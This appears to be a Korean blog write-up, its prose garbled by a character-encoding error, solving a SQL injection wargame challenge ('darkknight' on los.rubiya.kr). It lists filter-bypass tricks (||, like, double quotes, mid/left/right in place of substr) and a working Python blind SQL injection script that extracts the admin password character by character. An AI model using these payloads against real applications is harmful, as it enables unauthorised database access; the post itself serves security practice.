[๋ฌธ์ 12]
์ด๋ฒ ๋ฌธ์ ๋ substr(), ascii(), ' (์ฑ๊ธ์ฟผํฐ) ..๋ฑ ๋ง์ด ๋ง์๋จ๋ค์.
์ผ๋จ pw๋ฅผ ์ผ์น ์์ผ์ผ ํ๋ฆฌ๋ ๋ฌธ์ ์
๋๋ค.
์ ์ ๋ฌธ์ ๋ค๊ณผ ๋ค๋ฅด๊ฒ ์ฑ๊ธ์ฟผํฐ, substr์ ๋ง์๋์ผ๋ ์กฐ๊ธ ๋ณต์กํด์ก๋ค์.
์ผ๋จ ' ๋ฅผ ์ด๋ป๊ฒ ๋ง์์ผ ํ ์ง ๊ณ ๋ฏผํด๋ด
๋๋ค.
id์ pw๋ผ๋ ํ๋ผ๋ฏธํฐ ๊ฐ์ ์ด๋ฏธ ์ฑ๊ธ์ฟผํ
์ด์
์ผ๋ก ๋๋ฌ์์ฌ ์์ด์
๋ฌธ์์ด์ ์ข
๋ฃ ์ํค๊ณ ๋ค์ ์ฟผ๋ฆฌ๋ฌธ์ ์ด์ด์ค์ผ ํ๋๋ฐ, ๊ทธ๋ฌ๋ ค๋ฉด ์ด์ฉ ์ ์์ด ์ฑ๊ธ์ฟผํ
์ด์
์ด ๋ค์ด๊ฐ๋๋ค.
๊ทธ๋ ๋ค๋ฉด no๋ณ์๋ ์ด๋จ๊น์?
no๋ ' ' ๋ก ๋ฐ์ง์๋ ์ ์ผํ ๋ณ์ ์
๋๋ค. ๊ทธ๋ ๋ค๋ฉด ์ด ๋ณ์์ ๊ฐ์ ๋ฃ์ด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค.
** ์ ์ฐธ๊ณ ๋ก ํด๋น ์ฌ์ดํธ ํ๋ฉด์ and๋ฅผ &&๋ก ํด๋ ๋จนํ๊ณ ,
๋นํธ์ฐ์ฐ์(&)๋ก ํด๋ ์คํ์ด ๋๋๋ผ๊ตฌ์..(์์ด๋ฐ์ง ์์๋๋ถ) **
or ๋ || ๋ก ์ฐํํ๊ณ , = ์ like๋ก ์ฐํ๋ฅผ ํ๊ณ , ์ฑ๊ธ์ฟผํฐ๋ ""๋ก ์ฐํ ํ ์ ์์ต๋๋ค.
๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ํด๋ณด์๋ฉด ascii์ฝ๋๋ก ๋ฃ๋ ๋ฐฉ๋ฒ์ด ์๊ฒ ๋ค์.
ex) beebox์์ ์ฌ์ฉํ๋ ๊ฒ ์ฒ๋ผ,
substring(pw,1,1)='a' ์ด๋ฐ๋ฐฉ๋ฒ์ด ์๋
ascii(substring(pw,1,1)) = 98# ์ด๋ฐ ๋ฐฉ๋ฒ์ผ๋ก ์ฐํ ํ ์ ์์ต๋๋ค.
++
substring(pw,1,1) = char(98)# ์ด๋ ๊ฒ๋ ์ฐํ๊ฐ๋ฅํจ.
์ผ๋จ ์ ๋ ์ง๋์๋ python์ฝ๋๊ฐ ์๊ธฐ์ ์ฑ๊ธ์ฟผํฐ๋ฅผ ๋๋ธ์ฟผํฐ๋ก๋ง ๋ฐ๊ฟ์ค๊ฒ์!
๋ง์ง๋ง์ผ๋ก substring ํจ์๋ง ์ฐํ๋ฅผ ํ๋ฉด ๋๋๋ฐ, ์ ๋ฒ์๋ ๋ฌธ์์ด ์์ฒด (substr)์ ๋ง์๋์์ substring์ด๋ผ๋
ํ๋ค์์ผ๋ก ์ฐํํ์์ง๋ง ์ด๋ฒ์ ํจ์์์ฒด๊ฐ ์๋จนํ๋ค์. ๊ทธ๋ ๋ค๋ฉด substring๋์ ์ธ ์ ์๋ ํจ์๋ฅผ ์ฐพ์๋ด
์๋ค.
# ํค์๋ ์ฐํ
substr('abc',1,1) == right(left('abc',1),1)
substr('abc',2,1) == right(left('abc',2),1)
๊ฒ์ํด๋ณด๋ ์ด๋ ๊ฒ ์ฐํ ํ ์ ์๋ค๊ณ ํ๋ค์.
์ด๋ ๊ฒ ์ฐํ ๊ธฐ๋ฒ๋ค์ ์ฐพ์๋ณด๋ ์ ๋ง ๋ค์ํ๋ค์!
substr์ญํ ์ ํด์ฃผ๋ ํจ์๋ mid๋ ์๊ณ , ์์ด์๋ ์ผ๋ง๋ ์ง ์ฌ์ฉ์ด ๊ฐ๋ฅํ๋๋ผ๊ณ ์!
extbrain.tistory.com/62
์ ๋ธ๋ก๊ทธ๋ฅผ ์ฐธ๊ณ ํ์
์, left, mid, right ํจ์์ ์ฌ์ฉ๋ฒ์ ์ตํ ํ ์ฐํํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค.
length ์ฆ ๊ธธ์ด = 8
์์ data๋ฅผ ๋ฝ์๋ด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ๊ธฐ๋ณธ ์ฝ๋์์ ๋ช๊ฐ์ง๋ง ๊ณ ์ณ์ ์คํ์์ผ์ฃผ๋ฉด ๋ฉ๋๋น.
import requests
from bs4 import BeautifulSoup
query1 = "1 ||id like \"admin\" && mid(pw,%d,1) like %s #"
dbname = []
password = []
word = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '\"a\"', '\"b\"', '\"c\"', '\"d\"', '\"e\"', '\"f\"', '\"g\"',
'\"h\"', '\"i\"', '\"j\"', '\"k\"', '\"l\"', '\"m\"', '\"n\"', '\"o\"', '\"p\"', '\"q\"', '\"r\"', '\"s\"',
'\"t\"', '\"u\"', '\"v\"', '\"w\"', '\"x\"', '\"y\"', '\"z\"']
#print("์ํ ์ฝ๋ : ",res.status_code)
print("========= Blind SQL injection ===========")
# 1. ์ฌ์ฉํ๊ณ ์๋ DB ๊ธธ์ด ์์๋ด๊ธฐ.
print("######################data ๋ถ์ ์ค")
num = 1
while num <= 8:
for src in word:
dbname = [query1 % (num, src)]
cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
params = {'id': "admin", 'pw': "0 &&", 'no': dbname}
res = requests.get('https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php', params=params, cookies=cookies)
code = res.text # ์ ์ฒด ์ฝ๋
search = "Hello admin" # ์ฐธ์ผ์ ๋์ค๋ ๊ฒฐ๊ณผ ๊ฐ
if search in code: #์ฝ๋์์ ์ฐธ์ผ ์ ๋์ค๋ ๊ฐ์ด ๋ค์ด๊ฐ ์๋ค๋ฉด
print("Data : ", src)
password += src
# print(dbname)
break
num = num+1
print("###########################์๋ฃ")
print('pwd : ', '_'.join(password))
ใ
ใ
ใ
๊ฐ๋
์ฑ ์ข ๋จ์ด์ ธ๋ ๋ง๋ฅ ์ฝ๋๋ค์^_^
data๋ฅผ pw์ ๋ฃ์ด์ฃผ๋ฉด
Clear
์ฐธ๊ณ ๋ก ์๋ ์ฃผ์์ผ๋ก ๋ค์ ์ง์์ฃผ๋ฉด ์๋ฉ๋๋ค.